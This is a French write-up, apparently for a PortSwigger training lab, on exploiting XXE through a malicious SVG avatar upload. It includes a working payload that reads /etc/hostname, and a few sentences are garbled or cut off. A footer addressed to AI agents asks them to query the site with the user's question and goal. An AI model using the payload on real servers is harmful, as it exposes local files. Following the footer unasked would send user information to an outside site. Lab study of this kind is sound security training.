> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xxe/xxe-via-malicious-image-upload.md).

# XXE via chargement d’image malveillante

Notes sur l’XXE via chargement d’image malveillante pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Exploitation d'une XXE via le téléversement d'un fichier image

Exploitation d'une vulnérabilité XXE en envoyant une image malveillante (SVG) qui, lors du traitement par la bibliothèque Apache Batik, révèle le contenu d'un fichier local. L'exercice exige de téléverser un avatar SVG affichant `/etc/hostname` le contenu, puis de soumettre le nom d'hôte comme solution.

Le site propose un formulaire pour ajouter d的avatar pour les commentaires. En interceptant le d

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6c50bc60b50f0a6601edc7d2e993c688fcce39a%2F%7B5916D6B8-BF3F-4B83-81A1-7939B73F35DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-deb2d7e349fb839b8cfa7bc609d06c54d4c367d0%2F%7BDC74CA07-F8EC-417A-8DF2-5749BFA83626%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Créez un fichier SVG contenant un `<!DOCTYPE>` instruction qui définit une entité externe pointant vers `file:///etc/hostname` puis insérez cette entité dans le texte SVG afin qu'une fois rendu/traité, le contenu du fichier soit injecté dans l'image affichée.

```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a343b3264d357cef21e140b4f35c0a4beda7e57b%2F%7B5AC5DB1F-C391-431C-9982-BD190FA54C67%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Après le téléversement, l'affichage de l'avatar dans la section des commentaires montre que le serveur a interprété le SVG et a renvoyé la valeur de l'entité — le contenu de `/etc/hostname` apparaît dans l'image, ce qui permet de récupérer le nom d'hôte et de soumettre la solution.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2d53d5c99fede0707e750fa8d06ef7d64984257%2F%7BAC47938B-9598-40B7-851B-A27A65E30360%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/xxe/xxe-via-malicious-image-upload.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
